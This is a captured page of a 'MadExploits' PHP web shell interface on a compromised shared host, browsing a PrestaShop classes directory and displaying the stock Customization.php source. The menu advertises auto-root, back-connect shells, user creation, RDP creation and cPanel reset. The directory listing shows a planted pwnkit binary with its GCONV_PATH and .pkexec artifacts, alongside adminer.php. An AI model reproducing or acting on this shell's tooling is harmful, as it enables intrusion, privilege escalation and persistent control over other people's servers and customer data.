Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Smarty
[ DIR ]
drwx---r-x
assets
[ DIR ]
drwx---r-x
cache
[ DIR ]
drwx---r-x
checkout
[ DIR ]
drwx---r-x
container
[ DIR ]
drwx---r-x
controller
[ DIR ]
drwx---r-x
db
[ DIR ]
drwx---r-x
exception
[ DIR ]
drwx---r-x
form
[ DIR ]
drwx---r-x
helper
[ DIR ]
drwx---r-x
lang
[ DIR ]
drwx---r-x
log
[ DIR ]
drwx---r-x
module
[ DIR ]
drwx---r-x
order
[ DIR ]
drwx---r-x
pdf
[ DIR ]
drwx---r-x
product
[ DIR ]
drwx---r-x
proxy
[ DIR ]
drwx---r-x
range
[ DIR ]
drwx---r-x
shop
[ DIR ]
drwx---r-x
stock
[ DIR ]
drwx---r-x
tax
[ DIR ]
drwx---r-x
tree
[ DIR ]
drwx---r-x
webservice
[ DIR ]
drwx---r-x
.htaccess
170
B
-rw----r--
.mad-root
0
B
-rw-r--r--
Access.php
13.2
KB
-rw----r--
Address.php
20.13
KB
-rw----r--
AddressChecksumCore.php
1.7
KB
-rw----r--
AddressFormat.php
25.62
KB
-rw----r--
Alias.php
5.03
KB
-rw----r--
Attachment.php
7.91
KB
-rw----r--
Attribute.php
13.47
KB
-rw----r--
AttributeGroup.php
13.32
KB
-rw----r--
CMS.php
11.41
KB
-rw----r--
CMSCategory.php
24.09
KB
-rw----r--
CMSRole.php
1.78
KB
-rw----r--
CSV.php
3.04
KB
-rw----r--
Carrier.php
61.57
KB
-rw----r--
Cart.php
212.71
KB
-rw----r--
CartRule.php
88.48
KB
-rw----r--
Category.php
84.77
KB
-rw----r--
Chart.php
4.16
KB
-rw----r--
ChecksumInterface.php
1.13
KB
-rw----r--
Combination.php
14.5
KB
-rw----r--
Configuration.php
26.03
KB
-rw----r--
ConfigurationKPI.php
8.64
KB
-rw----r--
ConfigurationTest.php
11.92
KB
-rw----r--
Connection.php
10.31
KB
-rw----r--
ConnectionsSource.php
5.72
KB
-rw----r--
Contact.php
3.77
KB
-rw----r--
Context.php
13.8
KB
-rw----r--
Cookie.php
16.42
KB
-rw----r--
Country.php
16.12
KB
-rw----r--
Currency.php
35.48
KB
-rw----r--
Curve.php
2.42
KB
-rw----r--
Customer.php
46.67
KB
-rw----r--
CustomerAddress.php
1.26
KB
-rw----r--
CustomerMessage.php
5.71
KB
-rw----r--
CustomerSession.php
2.31
KB
-rw----r--
CustomerThread.php
9.63
KB
-rw----r--
Customization.php
13.35
KB
-rw----r--
CustomizationField.php
2.72
KB
-rw----r--
DateRange.php
2.47
KB
-rw----r--
Delivery.php
3.24
KB
-rw----r--
Dispatcher.php
43.1
KB
-rw----r--
Employee.php
22.1
KB
-rw----r--
EmployeeSession.php
2.32
KB
-rw----r--
Feature.php
11.16
KB
-rw----r--
FeatureValue.php
8.02
KB
-rw----r--
FileUploader.php
3.54
KB
-rw----r--
Gender.php
2.71
KB
-rw----r--
Group.php
14.51
KB
-rw----r--
GroupReduction.php
9.84
KB
-rw----r--
Guest.php
7.9
KB
-rw----r--
Hook.php
42.13
KB
-rw----r--
Image.php
28.51
KB
-rw----r--
ImageManager.php
23.98
KB
-rw----r--
ImageType.php
6.94
KB
-rw----r--
Language.php
57.96
KB
-rw----r--
Link.php
56.55
KB
-rw----r--
LocalizationPack.php
25.19
KB
-rw----r--
Mail.php
31.22
KB
-rw----r--
Manufacturer.php
20.82
KB
-rw----r--
ManufacturerAddress.php
1.28
KB
-rw----r--
Media.php
34.44
KB
-rw----r--
Message.php
6.26
KB
-rw----r--
Meta.php
17.97
KB
-rw----r--
Notification.php
7.42
KB
-rw----r--
ObjectModel.php
75.02
KB
-rw----r--
Pack.php
22.78
KB
-rw----r--
Page.php
4.48
KB
-rw----r--
PaymentFree.php
1.25
KB
-rw----r--
PaymentModule.php
59.53
KB
-rw----r--
PhpEncryption.php
3.39
KB
-rw----r--
PhpEncryptionEngine.php
4.26
KB
-rw----r--
PhpEncryptionLegacyEngine.php
4.77
KB
-rw----r--
PrestaShopAutoload.php
12.25
KB
-rw----r--
PrestaShopBackup.php
12.07
KB
-rw----r--
PrestaShopCollection.php
21.07
KB
-rw----r--
PrestaShopLogger.php
6.5
KB
-rw----r--
Product.php
269.79
KB
-rw----r--
ProductAssembler.php
3.37
KB
-rw----r--
ProductDownload.php
9.77
KB
-rw----r--
ProductPresenterFactory.php
3.6
KB
-rw----r--
ProductSale.php
12.7
KB
-rw----r--
ProductSupplier.php
8.76
KB
-rw----r--
Profile.php
7.56
KB
-rw----r--
QqUploadedFileForm.php
4.93
KB
-rw----r--
QqUploadedFileXhr.php
5.56
KB
-rw----r--
QuickAccess.php
4.65
KB
-rw----r--
Referrer.php
17.45
KB
-rw----r--
RequestSql.php
20.14
KB
-rw----r--
Risk.php
2.36
KB
-rw----r--
Search.php
51.05
KB
-rw----r--
SearchEngine.php
2.79
KB
-rw----r--
SpecificPrice.php
30.68
KB
-rw----r--
SpecificPriceRule.php
13.67
KB
-rw----r--
State.php
7.38
KB
-rw----r--
Store.php
6.25
KB
-rw----r--
Supplier.php
17.66
KB
-rw----r--
SupplierAddress.php
1.27
KB
-rw----r--
Tab.php
21.37
KB
-rw----r--
Tag.php
11.66
KB
-rw----r--
Tools.php
144.64
KB
-rw----r--
Translate.php
13.81
KB
-rw----r--
TranslatedConfiguration.php
4.56
KB
-rw----r--
Upgrader.php
11.54
KB
-rw----r--
Uploader.php
11.41
KB
-rw----r--
Validate.php
34.53
KB
-rw----r--
ValidateConstraintTranslator.p...
2.55
KB
-rw----r--
WarehouseAddress.php
1.27
KB
-rw----r--
Windows.php
1.34
KB
-rw----r--
Zone.php
3.4
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
index.php
1.34
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Customization.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ /** * Class CustomizationCore. */ class CustomizationCore extends ObjectModel { /** @var int */ public $id_product_attribute; /** @var int */ public $id_address_delivery; /** @var int */ public $id_cart; /** @var int */ public $id_product; /** @var int */ public $quantity; /** @var int */ public $quantity_refunded; /** @var int */ public $quantity_returned; /** @var bool */ public $in_cart; /** * @see ObjectModel::$definition */ public static $definition = [ 'table' => 'customization', 'primary' => 'id_customization', 'fields' => [ /* Classic fields */ 'id_product_attribute' => ['type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true], 'id_address_delivery' => ['type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true], 'id_cart' => ['type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true], 'id_product' => ['type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true], 'quantity' => ['type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true], 'quantity_refunded' => ['type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true], 'quantity_returned' => ['type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true], 'in_cart' => ['type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true], ], ]; protected $webserviceParameters = [ 'fields' => [ 'id_address_delivery' => [ 'xlink_resource' => [ 'resourceName' => 'addresses', ], ], 'id_cart' => [ 'xlink_resource' => [ 'resourceName' => 'carts', ], ], 'id_product' => [ 'xlink_resource' => [ 'resourceName' => 'products', ], ], ], 'associations' => [ 'customized_data_text_fields' => [ 'resource' => 'customized_data_text_field', 'virtual_entity' => true, 'fields' => [ 'id_customization_field' => ['required' => true, 'xlink_resource' => 'product_customization_fields'], 'value' => [], ], ], 'customized_data_images' => [ 'resource' => 'customized_data_image', 'virtual_entity' => true, 'setter' => false, 'fields' => [ 'id_customization_field' => ['xlink_resource' => 'product_customization_fields'], 'value' => [], ], ], ], ]; /** * Get returned Customizations. * * @param int $idOrder Order ID * * @return array|bool */ public static function getReturnedCustomizations($idOrder) { if (($result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' SELECT ore.`id_order_return`, ord.`id_order_detail`, ord.`id_customization`, ord.`product_quantity` FROM `' . _DB_PREFIX_ . 'order_return` ore INNER JOIN `' . _DB_PREFIX_ . 'order_return_detail` ord ON (ord.`id_order_return` = ore.`id_order_return`) WHERE ore.`id_order` = ' . (int) ($idOrder) . ' AND ord.`id_customization` != 0')) === false) { return false; } $customizations = []; foreach ($result as $row) { $customizations[(int) ($row['id_customization'])] = $row; } return $customizations; } /** * Get ordered Customizations. * * @param int $idCart Cart ID * * @return array|bool Ordered Customizations * `false` if not found */ public static function getOrderedCustomizations($idCart) { if (!$result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT `id_customization`, `quantity` FROM `' . _DB_PREFIX_ . 'customization` WHERE `id_cart` = ' . (int) ($idCart))) { return false; } $customizations = []; foreach ($result as $row) { $customizations[(int) ($row['id_customization'])] = $row; } return $customizations; } /** * Get price of Customization. * * @param int $idCustomization Customization ID * * @return float|int Price of customization */ public static function getCustomizationPrice($idCustomization) { if (!(int) $idCustomization) { return 0; } return (float) Db::getInstance()->getValue( ' SELECT SUM(`price`) FROM `' . _DB_PREFIX_ . 'customized_data` WHERE `id_customization` = ' . (int) $idCustomization ); } /** * Get weight of Customization. * * @param int $idCustomization Customization ID * * @return float|int Weight */ public static function getCustomizationWeight($idCustomization) { if (!(int) $idCustomization) { return 0; } return (float) Db::getInstance()->getValue( ' SELECT SUM(`weight`) FROM `' . _DB_PREFIX_ . 'customized_data` WHERE `id_customization` = ' . (int) $idCustomization ); } /** * Count Customization quantity by Product. * * @param array $customizations Customizations * * @return array Customization quantities by Product */ public static function countCustomizationQuantityByProduct($customizations) { $total = []; foreach ($customizations as $customization) { $total[(int) $customization['id_order_detail']] = !isset($total[(int) $customization['id_order_detail']]) ? (int) $customization['quantity'] : $total[(int) $customization['id_order_detail']] + (int) $customization['quantity']; } return $total; } /** * Get label. * * @param int $idCustomization Customization ID * @param int $idLang Language IOD * @param int|null $idShop Shop ID * * @return bool|false|string|null */ public static function getLabel($idCustomization, $idLang, $idShop = null) { if (!(int) $idCustomization || !(int) $idLang) { return false; } if (Shop::isFeatureActive() && !(int) $idShop) { $idShop = (int) Context::getContext()->shop->id; } $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue( ' SELECT `name` FROM `' . _DB_PREFIX_ . 'customization_field_lang` WHERE `id_customization_field` = ' . (int) $idCustomization . ((int) $idShop ? ' AND `id_shop` = ' . (int) $idShop : '') . ' AND `id_lang` = ' . (int) $idLang ); return $result; } /** * Retrieve quantities from IDs. * * @param array $idsCustomizations Customization IDs * * @return array Quantities */ public static function retrieveQuantitiesFromIds($idsCustomizations) { $quantities = []; $inValues = ''; foreach ($idsCustomizations as $key => $idCustomization) { if ($key > 0) { $inValues .= ','; } $inValues .= (int) $idCustomization; } if (!empty($inValues)) { $results = Db::getInstance()->executeS( 'SELECT `id_customization`, `id_product`, `quantity`, `quantity_refunded`, `quantity_returned` FROM `' . _DB_PREFIX_ . 'customization` WHERE `id_customization` IN (' . $inValues . ')' ); foreach ($results as $row) { $quantities[$row['id_customization']] = $row; } } return $quantities; } /** * Count quantity by Cart. * * @param int $idCart Cart ID * * @return array */ public static function countQuantityByCart($idCart) { $quantity = []; $results = Db::getInstance()->executeS(' SELECT `id_product`, `id_product_attribute`, SUM(`quantity`) AS quantity FROM `' . _DB_PREFIX_ . 'customization` WHERE `id_cart` = ' . (int) $idCart . ' GROUP BY `id_cart`, `id_product`, `id_product_attribute` '); foreach ($results as $row) { $quantity[$row['id_product']][$row['id_product_attribute']] = $row['quantity']; } return $quantity; } /** * This method is allow to know if a feature is used or active. * * @since 1.5.0.1 * * @return bool */ public static function isFeatureActive() { return Configuration::get('PS_CUSTOMIZATION_FEATURE_ACTIVE'); } /** * This method is allow to know if a Customization entity is currently used. * * @since 1.5.0.1 * * @param $table * @param $hasActiveColumn * * @return bool */ public static function isCurrentlyUsed($table = null, $hasActiveColumn = false) { return (bool) Db::getInstance()->getValue(' SELECT `id_customization_field` FROM `' . _DB_PREFIX_ . 'customization_field` '); } /** * Get customized text fields * (for webservice). * * @return array|false|mysqli_result|PDOStatement|resource|null */ public function getWsCustomizedDataTextFields() { if (!$results = Db::getInstance()->executeS(' SELECT id_customization_field, value FROM `' . _DB_PREFIX_ . 'customization_field` cf LEFT JOIN `' . _DB_PREFIX_ . 'customized_data` cd ON (cf.id_customization_field = cd.index) WHERE `id_product` = ' . (int) $this->id_product . ' AND id_customization = ' . (int) $this->id . ' AND cf.type = ' . (int) Product::CUSTOMIZE_TEXTFIELD)) { return []; } return $results; } /** * Get customized images data * (for webservice). * * @return array|false|mysqli_result|PDOStatement|resource|null */ public function getWsCustomizedDataImages() { if (!$results = Db::getInstance()->executeS(' SELECT id_customization_field, value FROM `' . _DB_PREFIX_ . 'customization_field` cf LEFT JOIN `' . _DB_PREFIX_ . 'customized_data` cd ON (cf.id_customization_field = cd.index) WHERE `id_product` = ' . (int) $this->id_product . ' AND id_customization = ' . (int) $this->id . ' AND cf.type = ' . (int) Product::CUSTOMIZE_FILE)) { return []; } return $results; } /** * Set customized text fields * (for webservice). * * @param array $values * * @return bool */ public function setWsCustomizedDataTextFields($values) { $cart = new Cart($this->id_cart); if (!Validate::isLoadedObject($cart)) { WebserviceRequest::getInstance()->setError(500, $this->trans('Could not load cart id=%s', [$this->id_cart], 'Admin.Notifications.Error'), 137); return false; } Db::getInstance()->execute(' DELETE FROM `' . _DB_PREFIX_ . 'customized_data` WHERE id_customization = ' . (int) $this->id . ' AND type = ' . (int) Product::CUSTOMIZE_TEXTFIELD); foreach ($values as $value) { $query = 'INSERT INTO `' . _DB_PREFIX_ . 'customized_data` (`id_customization`, `type`, `index`, `value`) VALUES (' . (int) $this->id . ', ' . (int) Product::CUSTOMIZE_TEXTFIELD . ', ' . (int) $value['id_customization_field'] . ', \'' . pSQL($value['value']) . '\')'; if (!Db::getInstance()->execute($query)) { return false; } } return true; } /** * Delete the current context shops langs. * * @param int $idCustomizationField * @param int[] $shopList * * @return bool * * @throws PrestaShopDatabaseException */ public static function deleteCustomizationFieldLangByShop($idCustomizationField, $shopList) { $return = Db::getInstance()->execute('DELETE FROM `' . _DB_PREFIX_ . 'customization_field_lang` WHERE `id_customization_field` = ' . (int) $idCustomizationField . ' AND `id_shop` IN (' . implode(',', $shopList) . ')'); if (!$return) { throw new PrestaShopDatabaseException('An error occurred while deletion the customization fields lang'); } return $return; } }
Close